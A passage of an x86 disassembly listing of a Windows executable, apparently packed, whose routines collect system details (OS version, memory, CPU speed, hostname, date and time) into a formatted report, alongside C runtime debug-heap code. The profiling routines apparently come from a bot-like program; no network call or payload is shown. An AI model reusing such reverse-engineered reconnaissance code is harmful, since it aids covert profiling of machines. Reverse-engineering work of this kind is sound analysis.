mov ecx, eax
sub ecx, [esp+14h+arg_0]
mov eax, ecx
div esi
mov esi, edx
xor edx, edx
mov eax, esi
div ebp
pop ebp
mov eax, edx
xor edx, edx
div ebp
xor edx, edx
push eax
mov eax, esi
div edi
xor edx, edx
mov esi, offset dword_4EF828
push eax
mov eax, ecx
div ebx
push eax
push offset dword_450F10
push 32h
push esi
call sub_41B910
add esp, 18h
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
retn
sub_4187BE endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 94h
lea eax, [ebp-94h]
push esi
push eax
xor esi, esi
mov dword ptr [ebp-94h], 94h
call dword_4F1384 ; GetVersionExA
test eax, eax
jz short loc_4188BA
cmp dword ptr [ebp-90h], 4
jnz short loc_418890
cmp [ebp-8Ch], esi
jnz short loc_418878
cmp dword ptr [ebp-84h], 1
jnz short loc_41886B
push 1
pop esi
loc_41886B: ; CODE XREF: .nsp0:00418866j
cmp dword ptr [ebp-84h], 2
jnz short loc_4188BA
push 1
jmp short loc_4188B9
; ---------------------------------------------------------------------------
loc_418878: ; CODE XREF: .nsp0:0041885Dj
cmp dword ptr [ebp-8Ch], 0Ah
jnz short loc_418885
loc_418881: ; CODE XREF: .nsp0:0041889Fj
push 2
jmp short loc_4188B9
; ---------------------------------------------------------------------------
loc_418885: ; CODE XREF: .nsp0:0041887Fj
cmp dword ptr [ebp-8Ch], 5Ah
jnz short loc_4188BA
jmp short loc_4188AA
; ---------------------------------------------------------------------------
loc_418890: ; CODE XREF: .nsp0:00418855j
cmp dword ptr [ebp-90h], 5
jnz short loc_4188BA
cmp [ebp-8Ch], esi
jz short loc_418881
cmp dword ptr [ebp-8Ch], 1
jnz short loc_4188AE
loc_4188AA: ; CODE XREF: .nsp0:0041888Ej
push 3
jmp short loc_4188B9
; ---------------------------------------------------------------------------
loc_4188AE: ; CODE XREF: .nsp0:004188A8j
cmp dword ptr [ebp-8Ch], 2
jnz short loc_4188BA
push 7
loc_4188B9: ; CODE XREF: .nsp0:00418876j
; .nsp0:00418883j ...
pop esi
loc_4188BA: ; CODE XREF: .nsp0:0041884Cj
; .nsp0:00418872j ...
mov eax, esi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
sub_4188BF proc near ; CODE XREF: sub_41897B+290p
push ebx
push esi
push edi
mov esi, 0F4240h
loc_4188C7: ; CODE XREF: sub_4188BF+35j
; sub_4188BF+3Bj
call sub_418CF8
push 3E8h
mov edi, eax
mov ebx, edx
call dword_4F1334 ; Sleep
call sub_418CF8
sub eax, edi
push 0
sbb edx, ebx
push esi
push edx
push eax
call sub_41DF00
mov edi, edx
mov ebx, eax
test edi, edi
ja short loc_4188C7
jb short loc_4188FC
cmp ebx, esi
ja short loc_4188C7
loc_4188FC: ; CODE XREF: sub_4188BF+37j
push 0
push 64h
push edi
push ebx
call sub_41DF70
mov ecx, edx
push 64h
xor edx, edx
mov esi, eax
test ecx, ecx
pop eax
ja short loc_41896F
jb short loc_41891B
cmp esi, 50h
jnb short loc_418920
loc_41891B: ; CODE XREF: sub_4188BF+55j
push 4Bh
xor edx, edx
pop eax
loc_418920: ; CODE XREF: sub_4188BF+5Aj
test ecx, ecx
ja short loc_41896F
jb short loc_41892B
cmp esi, 47h
jnb short loc_418930
loc_41892B: ; CODE XREF: sub_4188BF+65j
push 42h
xor edx, edx
pop eax
loc_418930: ; CODE XREF: sub_4188BF+6Aj
test ecx, ecx
ja short loc_41896F
jb short loc_41893B
cmp esi, 37h
jnb short loc_418940
loc_41893B: ; CODE XREF: sub_4188BF+75j
push 32h
xor edx, edx
pop eax
loc_418940: ; CODE XREF: sub_4188BF+7Aj
test ecx, ecx
ja short loc_41896F
jb short loc_41894B
cmp esi, 26h
jnb short loc_418950
loc_41894B: ; CODE XREF: sub_4188BF+85j
push 21h
xor edx, edx
pop eax
loc_418950: ; CODE XREF: sub_4188BF+8Aj
test ecx, ecx
ja short loc_41896F
jb short loc_41895B
cmp esi, 1Eh
jnb short loc_418960
loc_41895B: ; CODE XREF: sub_4188BF+95j
push 19h
xor edx, edx
pop eax
loc_418960: ; CODE XREF: sub_4188BF+9Aj
test ecx, ecx
ja short loc_41896F
jb short loc_41896B
cmp esi, 0Ah
jnb short loc_41896F
loc_41896B: ; CODE XREF: sub_4188BF+A5j
xor eax, eax
xor edx, edx
loc_41896F: ; CODE XREF: sub_4188BF+53j
; sub_4188BF+63j ...
sub eax, esi
sbb edx, ecx
add eax, ebx
adc edx, edi
pop edi
pop esi
pop ebx
retn
sub_4188BF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41897B proc near ; CODE XREF: sub_401CC1+22ABp
var_7E8 = byte ptr -7E8h
var_668 = byte ptr -668h
var_5E8 = byte ptr -5E8h
var_568 = byte ptr -568h
var_4E8 = byte ptr -4E8h
var_3E4 = byte ptr -3E4h
var_2E8 = byte ptr -2E8h
var_25C = word ptr -25Ch
var_25A = byte ptr -25Ah
var_15C = byte ptr -15Ch
var_114 = byte ptr -114h
var_CC = dword ptr -0CCh
var_C8 = dword ptr -0C8h
var_C4 = dword ptr -0C4h
var_C0 = dword ptr -0C0h
var_BC = dword ptr -0BCh
var_B8 = byte ptr -0B8h
var_38 = byte ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 7E8h
push ebx
push esi
lea eax, [ebp+var_CC]
push edi
push eax
mov [ebp+var_4], offset dword_4EF860
mov [ebp+var_CC], 94h
call dword_4F1384 ; GetVersionExA
xor ebx, ebx
cmp [ebp+var_C8], 4
jnz short loc_418A02
cmp [ebp+var_C4], ebx
jnz short loc_4189DE
cmp [ebp+var_BC], 1
jnz short loc_4189C8
mov [ebp+var_4], offset dword_450F1C
loc_4189C8: ; CODE XREF: sub_41897B+44j
cmp [ebp+var_BC], 2
jnz loc_418A7D
mov [ebp+var_4], offset dword_450F20
jmp short loc_418A4E
; ---------------------------------------------------------------------------
loc_4189DE: ; CODE XREF: sub_41897B+3Bj
cmp [ebp+var_C4], 0Ah
jnz short loc_4189F0
mov [ebp+var_4], offset dword_450F24
jmp short loc_418A45
; ---------------------------------------------------------------------------
loc_4189F0: ; CODE XREF: sub_41897B+6Aj
cmp [ebp+var_C4], 5Ah
jnz short loc_418A3E
mov [ebp+var_4], offset dword_450F28
jmp short loc_418A45
; ---------------------------------------------------------------------------
loc_418A02: ; CODE XREF: sub_41897B+33j
cmp [ebp+var_C8], 5
jnz short loc_418A3E
cmp [ebp+var_C4], ebx
jnz short loc_418A1C
mov [ebp+var_4], offset dword_450F2C
jmp short loc_418A45
; ---------------------------------------------------------------------------
loc_418A1C: ; CODE XREF: sub_41897B+96j
cmp [ebp+var_C4], 1
jnz short loc_418A2E
mov [ebp+var_4], offset dword_450F30
jmp short loc_418A45
; ---------------------------------------------------------------------------
loc_418A2E: ; CODE XREF: sub_41897B+A8j
cmp [ebp+var_C4], 2
mov [ebp+var_4], offset a2003 ; "2003"
jz short loc_418A45
loc_418A3E: ; CODE XREF: sub_41897B+7Cj
; sub_41897B+8Ej
mov [ebp+var_4], offset a??? ; "???"
loc_418A45: ; CODE XREF: sub_41897B+73j
; sub_41897B+85j ...
cmp [ebp+var_BC], 2
jnz short loc_418A7D
loc_418A4E: ; CODE XREF: sub_41897B+61j
cmp [ebp+var_B8], bl
jz short loc_418A7D
lea eax, [ebp+var_B8]
push eax
lea eax, [ebp+var_2E8]
push [ebp+var_4]
push offset aSS_6 ; "%s (%s)"
push eax
call sub_41B740
lea eax, [ebp+var_2E8]
add esp, 10h
mov [ebp+var_4], eax
loc_418A7D: ; CODE XREF: sub_41897B+54j
; sub_41897B+D1j ...
mov ax, word_450F48
push 3Fh
mov [ebp+var_25C], ax
pop ecx
xor eax, eax
lea edi, [ebp+var_25A]
rep stosd
stosw
mov eax, dword_4E0790
mov [ebp+var_C], 100h
cmp eax, ebx
jz short loc_418AB6
lea ecx, [ebp+var_C]
push ecx
lea ecx, [ebp+var_25C]
push ecx
call eax
loc_418AB6: ; CODE XREF: sub_41897B+12Cj
push [ebp+arg_4]
call sub_40A019
pop ecx
push eax
call dword_4E08DC
mov [ebp+var_8], eax
push 2
lea eax, [ebp+var_8]
push 4
push eax
call dword_4E085C
cmp eax, ebx
jz short loc_418ADF
push dword ptr [eax]
jmp short loc_418AE4
; ---------------------------------------------------------------------------
loc_418ADF: ; CODE XREF: sub_41897B+15Ej
push offset aCouldnTResolve ; "couldn't resolve host"
loc_418AE4: ; CODE XREF: sub_41897B+162j
lea eax, [ebp+var_3E4]
push eax
call sub_41B740
pop ecx
lea eax, [ebp+var_4E8]
pop ecx
push 104h
push eax
call dword_4F1330 ; GetSystemDirectoryA
lea eax, [ebp+var_114]
push 46h
push eax
push offset aDdMmmYyyy ; "dd:MMM:yyyy"
push ebx
mov esi, 409h
push ebx
push esi
call dword_4F13C0 ; GetDateFormatA
lea eax, [ebp+var_15C]
push 46h
push eax
push offset aHhMmSs_0 ; "HH:mm:ss"
push ebx
push ebx
push esi
call dword_4F13BC ; GetTimeFormatA
push 20h
lea eax, [ebp+var_38]
push ebx
push eax
call sub_41B190
add esp, 0Ch
lea eax, [ebp+var_38]
push eax
call dword_4F1434 ; GlobalMemoryStatus
push ebx
push ebx
lea eax, [ebp+var_18]
push ebx
push eax
lea eax, [ebp+var_4E8]
push eax
call sub_41BA10
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_7E8]
push eax
call sub_415056
push 60h
mov esi, eax
pop ecx
lea edi, [ebp+var_7E8]
rep movsd
push 60h
lea esi, [ebp+var_7E8]
pop ecx
lea edi, [ebp+var_668]
rep movsd
push ebx
call sub_4187BE
add esp, 20h
push eax
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_114]
push eax
lea eax, [ebp+var_25C]
push eax
push [ebp+arg_4]
call sub_40A019
pop ecx
push eax
lea eax, [ebp+var_3E4]
push eax
lea eax, [ebp+var_4E8]
push eax
lea eax, [ebp+var_5E8]
push [ebp+var_C0]
push [ebp+var_C4]
push [ebp+var_C8]
push [ebp+var_4]
push eax
lea eax, [ebp+var_568]
push eax
mov eax, [ebp+var_2C]
shr eax, 0Ah
push ebx
push eax
call sub_414F46
pop ecx
pop ecx
push eax
mov eax, [ebp+var_30]
shr eax, 0Ah
push ebx
push eax
call sub_414F46
pop ecx
pop ecx
push eax
call sub_4188BF
push edx
push eax
push offset dword_450F7C
push 200h
push [ebp+arg_0]
call sub_41B910
mov eax, [ebp+arg_0]
add esp, 50h
pop edi
pop esi
pop ebx
leave
retn
sub_41897B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418C2F proc near ; CODE XREF: sub_401CC1+22D9p
; sub_401CC1+6961p
var_8C = byte ptr -8Ch
var_C = byte ptr -0Ch
var_8 = byte ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8Ch
push esi
mov esi, 80h
push esi
lea eax, [ebp+var_8C]
push 0
push eax
call sub_41B190
add esp, 0Ch
cmp dword_4E0984, 0
jnz short loc_418CA3
push 0
lea eax, [ebp+var_8C]
push esi
push eax
lea eax, [ebp+var_C]
push eax
call dword_4E0778
test eax, eax
jnz short loc_418C84
lea eax, [ebp+var_8C]
push offset dword_451058
push eax
call sub_41B740
pop ecx
pop ecx
loc_418C84: ; CODE XREF: sub_418C2F+40j
test [ebp+var_C], 1
jz short loc_418C9C
push offset dword_451068
loc_418C8F: ; CODE XREF: sub_418C2F+72j
lea eax, [ebp+var_8]
push eax
call sub_41B740
pop ecx
pop ecx
jmp short loc_418CC5
; ---------------------------------------------------------------------------
loc_418C9C: ; CODE XREF: sub_418C2F+59j
push offset off_451070
jmp short loc_418C8F
; ---------------------------------------------------------------------------
loc_418CA3: ; CODE XREF: sub_418C2F+28j
lea eax, [ebp+var_8]
push offset off_451074
push eax
call sub_41B740
lea eax, [ebp+var_8C]
push offset off_451078
push eax
call sub_41B740
add esp, 10h
loc_418CC5: ; CODE XREF: sub_418C2F+6Bj
push [ebp+arg_4]
push [ebp+arg_8]
call sub_40A019
pop ecx
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_8]
push eax
push offset dword_45107C
push 200h
push [ebp+arg_0]
call sub_41B910
mov eax, [ebp+arg_0]
add esp, 1Ch
pop esi
leave
retn
sub_418C2F endp
; =============== S U B R O U T I N E =======================================
sub_418CF8 proc near ; CODE XREF: sub_4188BF:loc_4188C7p
; sub_4188BF+1Cp
rdtsc
retn
sub_418CF8 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_418D00 proc near ; CODE XREF: sub_401000+34p
; .nsp0:004011F4p ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
test ecx, 3
jz short loc_418D20
loc_418D0C: ; CODE XREF: sub_418D00+19j
mov al, [ecx]
inc ecx
test al, al
jz short loc_418D53
test ecx, 3
jnz short loc_418D0C
add eax, 0
loc_418D20: ; CODE XREF: sub_418D00+Aj
; sub_418D00+36j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_418D20
mov eax, [ecx-4]
test al, al
jz short loc_418D71
test ah, ah
jz short loc_418D67
test eax, 0FF0000h
jz short loc_418D5D
test eax, 0FF000000h
jz short loc_418D53
jmp short loc_418D20
; ---------------------------------------------------------------------------
loc_418D53: ; CODE XREF: sub_418D00+11j
; sub_418D00+4Fj
lea eax, [ecx-1]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_418D5D: ; CODE XREF: sub_418D00+48j
lea eax, [ecx-2]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_418D67: ; CODE XREF: sub_418D00+41j
lea eax, [ecx-3]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_418D71: ; CODE XREF: sub_418D00+3Dj
lea eax, [ecx-4]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
sub_418D00 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418D80 proc near ; CODE XREF: sub_4010AB+64p
; sub_401CC1+50ADp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov [ebp+var_4], 0FFFFFFFFh
loc_418D8E: ; CODE XREF: sub_418D80+36j
cmp [ebp+arg_0], 0
jnz short loc_418DB2
push offset dword_437504
push 0
push 3Ah
push offset dword_4374F8
push 2
call sub_41EED0
add esp, 14h
cmp eax, 1
jnz short loc_418DB2
int 3 ; Trap to Debugger
loc_418DB2: ; CODE XREF: sub_418D80+12j
; sub_418D80+2Fj
xor eax, eax
test eax, eax
jnz short loc_418D8E
mov ecx, [ebp+arg_0]
mov edx, [ecx+0Ch]
and edx, 40h
test edx, edx
jz short loc_418DD1
mov eax, [ebp+arg_0]
mov dword ptr [eax+0Ch], 0
jmp short loc_418DF8
; ---------------------------------------------------------------------------
loc_418DD1: ; CODE XREF: sub_418D80+43j
mov ecx, [ebp+arg_0]
push ecx
call sub_41ECE0
add esp, 4
mov edx, [ebp+arg_0]
push edx
call sub_418E10
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
push eax
call sub_41ED50
add esp, 4
loc_418DF8: ; CODE XREF: sub_418D80+4Fj
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_418D80 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418E10 proc near ; CODE XREF: sub_418D80+61p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov [ebp+var_4], 0FFFFFFFFh
mov eax, [ebp+arg_0]
mov [ebp+var_8], eax
loc_418E26: ; CODE XREF: sub_418E10+3Ej
cmp [ebp+arg_0], 0
jnz short loc_418E4A
push offset dword_437514
push 0
push 77h
push offset dword_4374F8
push 2
call sub_41EED0
add esp, 14h
cmp eax, 1
jnz short loc_418E4A
int 3 ; Trap to Debugger
loc_418E4A: ; CODE XREF: sub_418E10+1Aj
; sub_418E10+37j
xor ecx, ecx
test ecx, ecx
jnz short loc_418E26
mov edx, [ebp+var_8]
mov eax, [edx+0Ch]
and eax, 83h
test eax, eax
jz short loc_418EBA
mov ecx, [ebp+var_8]
push ecx
call sub_41F7E0
add esp, 4
mov [ebp+var_4], eax
mov edx, [ebp+var_8]
push edx
call sub_41F6A0
add esp, 4
mov eax, [ebp+var_8]
mov ecx, [eax+10h]
push ecx
call sub_41F570
add esp, 4
test eax, eax
jge short loc_418E96
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_418EBA
; ---------------------------------------------------------------------------
loc_418E96: ; CODE XREF: sub_418E10+7Bj
mov edx, [ebp+var_8]
cmp dword ptr [edx+1Ch], 0
jz short loc_418EBA
push 2
mov eax, [ebp+var_8]
mov ecx, [eax+1Ch]
push ecx
call sub_419980
add esp, 8
mov edx, [ebp+var_8]
mov dword ptr [edx+1Ch], 0
loc_418EBA: ; CODE XREF: sub_418E10+4Dj
; sub_418E10+84j ...
mov eax, [ebp+var_8]
mov dword ptr [eax+0Ch], 0
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_418E10 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418ED0 proc near ; CODE XREF: sub_4010AB+6p
; sub_409F35+63p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0
push 0
push 1
mov eax, dword_4EF8F4
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_418F40
add esp, 14h
pop ebp
retn
sub_418ED0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418EF0 proc near ; CODE XREF: sub_419300+20p
; sub_4193C0+26p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, dword_4EF8F4
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_418F40
add esp, 14h
pop ebp
retn
sub_418EF0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418F20 proc near ; CODE XREF: sub_41D910+9p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push 0
push 0
push 1
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_418F40
add esp, 14h
pop ebp
retn
sub_418F20 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418F40 proc near ; CODE XREF: sub_418ED0+13p
; sub_418EF0+19p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
loc_418F44: ; CODE XREF: sub_418F40:loc_418F98j
push 9
call sub_41FB40
add esp, 4
mov eax, [ebp+arg_10]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_418FC0
add esp, 10h
mov [ebp+var_4], eax
push 9
call sub_41FBE0
add esp, 4
cmp [ebp+var_4], 0
jnz short loc_418F7F
cmp [ebp+arg_4], 0
jnz short loc_418F84
loc_418F7F: ; CODE XREF: sub_418F40+37j
mov eax, [ebp+var_4]
jmp short loc_418F9A
; ---------------------------------------------------------------------------
loc_418F84: ; CODE XREF: sub_418F40+3Dj
mov ecx, [ebp+arg_0]
push ecx
call sub_41FA30
add esp, 4
test eax, eax
jnz short loc_418F98
xor eax, eax
jmp short loc_418F9A
; ---------------------------------------------------------------------------
loc_418F98: ; CODE XREF: sub_418F40+52j
jmp short loc_418F44
; ---------------------------------------------------------------------------
loc_418F9A: ; CODE XREF: sub_418F40+42j
; sub_418F40+56j
mov esp, ebp
pop ebp
retn
sub_418F40 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 0
push 0
push 1
mov eax, [ebp+8]
push eax
call sub_418FC0
add esp, 10h
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418FC0 proc near ; CODE XREF: sub_418F40+1Ep
; .nsp0:00418FADp
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
push edi
mov [ebp+var_C], 0
mov eax, dword_4510C0
and eax, 4
test eax, eax
jz short loc_41900C
loc_418FDC: ; CODE XREF: sub_418FC0+4Aj
call sub_41A090
test eax, eax
jnz short loc_419006
push offset a_crtcheckmemor ; "_CrtCheckMemory()"
push 0
push 141h
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_41EED0
add esp, 14h
cmp eax, 1
jnz short loc_419006
int 3 ; Trap to Debugger
loc_419006: ; CODE XREF: sub_418FC0+23j
; sub_418FC0+43j
xor ecx, ecx
test ecx, ecx
jnz short loc_418FDC
loc_41900C: ; CODE XREF: sub_418FC0+1Aj
mov edx, dword_4510C4
mov [ebp+var_8], edx
mov eax, [ebp+var_8]
cmp eax, dword_4510C8
jnz short loc_419021
int 3 ; Trap to Debugger
loc_419021: ; CODE XREF: sub_418FC0+5Ej
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+var_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
push 0
push 1
call off_451490
add esp, 1Ch
test eax, eax
jnz short loc_4190A4
cmp [ebp+arg_8], 0
jz short loc_419077
loc_41904C: ; CODE XREF: sub_418FC0+B3j
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
push offset aClientHookAllo ; "Client hook allocation failure at file "...
push 0
push 0
push 0
push 0
call sub_41EED0
add esp, 1Ch
cmp eax, 1
jnz short loc_41906F
int 3 ; Trap to Debugger
loc_41906F: ; CODE XREF: sub_418FC0+ACj
xor edx, edx
test edx, edx
jnz short loc_41904C
jmp short loc_41909D
; ---------------------------------------------------------------------------
loc_419077: ; CODE XREF: sub_418FC0+8Aj
; sub_418FC0+DBj
push offset aClientHookAl_0 ; "Client hook allocation failure.\n"
push offset aS_25 ; "%s"
push 0
push 0
push 0
push 0
call sub_41EED0
add esp, 18h
cmp eax, 1
jnz short loc_419097
int 3 ; Trap to Debugger
loc_419097: ; CODE XREF: sub_418FC0+D4j
xor eax, eax
test eax, eax
jnz short loc_419077
loc_41909D: ; CODE XREF: sub_418FC0+B5j
xor eax, eax
jmp loc_4192CC
; ---------------------------------------------------------------------------
loc_4190A4: ; CODE XREF: sub_418FC0+84j
mov ecx, [ebp+arg_4]
and ecx, 0FFFFh
cmp ecx, 2
jz short loc_4190C6
mov edx, dword_4510C0
and edx, 1
test edx, edx
jnz short loc_4190C6
mov [ebp+var_C], 1
loc_4190C6: ; CODE XREF: sub_418FC0+F0j
; sub_418FC0+FDj
cmp [ebp+arg_0], 0FFFFFFE0h
ja short loc_4190D7
mov eax, [ebp+arg_0]
add eax, 24h
cmp eax, 0FFFFFFE0h
jbe short loc_419103
loc_4190D7: ; CODE XREF: sub_418FC0+10Aj
; sub_418FC0+13Aj
mov ecx, [ebp+arg_0]
push ecx
push offset aInvalidAllocat ; "Invalid allocation size: %u bytes.\n"
push 0
push 0
push 0
push 1
call sub_41EED0
add esp, 18h
cmp eax, 1
jnz short loc_4190F6
int 3 ; Trap to Debugger
loc_4190F6: ; CODE XREF: sub_418FC0+133j
xor edx, edx
test edx, edx
jnz short loc_4190D7
xor eax, eax
jmp loc_4192CC
; ---------------------------------------------------------------------------
loc_419103: ; CODE XREF: sub_418FC0+115j
mov eax, [ebp+arg_4]
and eax, 0FFFFh
cmp eax, 4
jz short loc_419150
cmp [ebp+arg_4], 1
jz short loc_419150
mov ecx, [ebp+arg_4]
and ecx, 0FFFFh
cmp ecx, 2
jz short loc_419150
cmp [ebp+arg_4], 3
jz short loc_419150
loc_41912A: ; CODE XREF: sub_418FC0+18Ej
push offset aErrorMemoryAll ; "Error: memory allocation: bad memory bl"...
push offset aS_25 ; "%s"
push 0
push 0
push 0
push 1
call sub_41EED0
add esp, 18h
cmp eax, 1
jnz short loc_41914A
int 3 ; Trap to Debugger
loc_41914A: ; CODE XREF: sub_418FC0+187j
xor edx, edx
test edx, edx
jnz short loc_41912A
loc_419150: ; CODE XREF: sub_418FC0+14Ej
; sub_418FC0+154j ...
mov eax, [ebp+arg_0]
add eax, 24h
mov [ebp+var_10], eax
mov ecx, [ebp+var_10]
push ecx
call sub_41FCA0
add esp, 4
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_419175
xor eax, eax
jmp loc_4192CC
; ---------------------------------------------------------------------------
loc_419175: ; CODE XREF: sub_418FC0+1ACj
mov edx, dword_4510C4
add edx, 1
mov dword_4510C4, edx
cmp [ebp+var_C], 0
jz short loc_4191D3
mov eax, [ebp+var_4]
mov dword ptr [eax], 0
mov ecx, [ebp+var_4]
mov dword ptr [ecx+4], 0
mov edx, [ebp+var_4]
mov dword ptr [edx+8], 0
mov eax, [ebp+var_4]
mov dword ptr [eax+0Ch], 0FEDCBABCh
mov ecx, [ebp+var_4]
mov edx, [ebp+arg_0]
mov [ecx+10h], edx
mov eax, [ebp+var_4]
mov dword ptr [eax+14h], 3
mov ecx, [ebp+var_4]
mov dword ptr [ecx+18h], 0
jmp loc_419273
; ---------------------------------------------------------------------------
loc_4191D3: ; CODE XREF: sub_418FC0+1C8j
mov edx, dword_4EF868
add edx, [ebp+arg_0]
mov dword_4EF868, edx
mov eax, dword_4EF870
add eax, [ebp+arg_0]
mov dword_4EF870, eax
mov ecx, dword_4EF870
cmp ecx, dword_4EF874
jbe short loc_419209
mov edx, dword_4EF870
mov dword_4EF874, edx
loc_419209: ; CODE XREF: sub_418FC0+23Bj
cmp dword_4EF86C, 0
jz short loc_41921F
mov eax, dword_4EF86C
mov ecx, [ebp+var_4]
mov [eax+4], ecx
jmp short loc_419228
; ---------------------------------------------------------------------------
loc_41921F: ; CODE XREF: sub_418FC0+250j
mov edx, [ebp+var_4]
mov dword_4EF864, edx
loc_419228: ; CODE XREF: sub_418FC0+25Dj
mov eax, [ebp+var_4]
mov ecx, dword_4EF86C
mov [eax], ecx
mov edx, [ebp+var_4]
mov dword ptr [edx+4], 0
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_8]
mov [eax+8], ecx
mov edx, [ebp+var_4]
mov eax, [ebp+arg_C]
mov [edx+0Ch], eax
mov ecx, [ebp+var_4]
mov edx, [ebp+arg_0]
mov [ecx+10h], edx
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_4]
mov [eax+14h], ecx
mov edx, [ebp+var_4]
mov eax, [ebp+var_8]
mov [edx+18h], eax
mov ecx, [ebp+var_4]
mov dword_4EF86C, ecx
loc_419273: ; CODE XREF: sub_418FC0+20Ej
push 4
xor edx, edx
mov dl, byte_4510CC
push edx
mov eax, [ebp+var_4]
add eax, 1Ch
push eax
call sub_41B190
add esp, 0Ch
push 4
xor ecx, ecx
mov cl, byte_4510CC
push ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_4]
lea ecx, [eax+edx+20h]
push ecx
call sub_41B190
add esp, 0Ch
mov edx, [ebp+arg_0]
push edx
xor eax, eax
mov al, byte_4510CE
push eax
mov ecx, [ebp+var_4]
add ecx, 20h
push ecx
call sub_41B190
add esp, 0Ch
mov eax, [ebp+var_4]
add eax, 20h
loc_4192CC: ; CODE XREF: sub_418FC0+DFj
; sub_418FC0+13Ej ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_418FC0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 0
push 0
push 1
mov eax, [ebp+0Ch]
push eax
mov ecx, [ebp+8]
push ecx
call sub_419300
add esp, 14h
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419300 proc near ; CODE XREF: .nsp0:004192F1p
; sub_41EB90+40p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_4]
imul eax, [ebp+arg_0]
mov [ebp+arg_4], eax
mov ecx, [ebp+arg_10]
push ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
call sub_418EF0
add esp, 10h
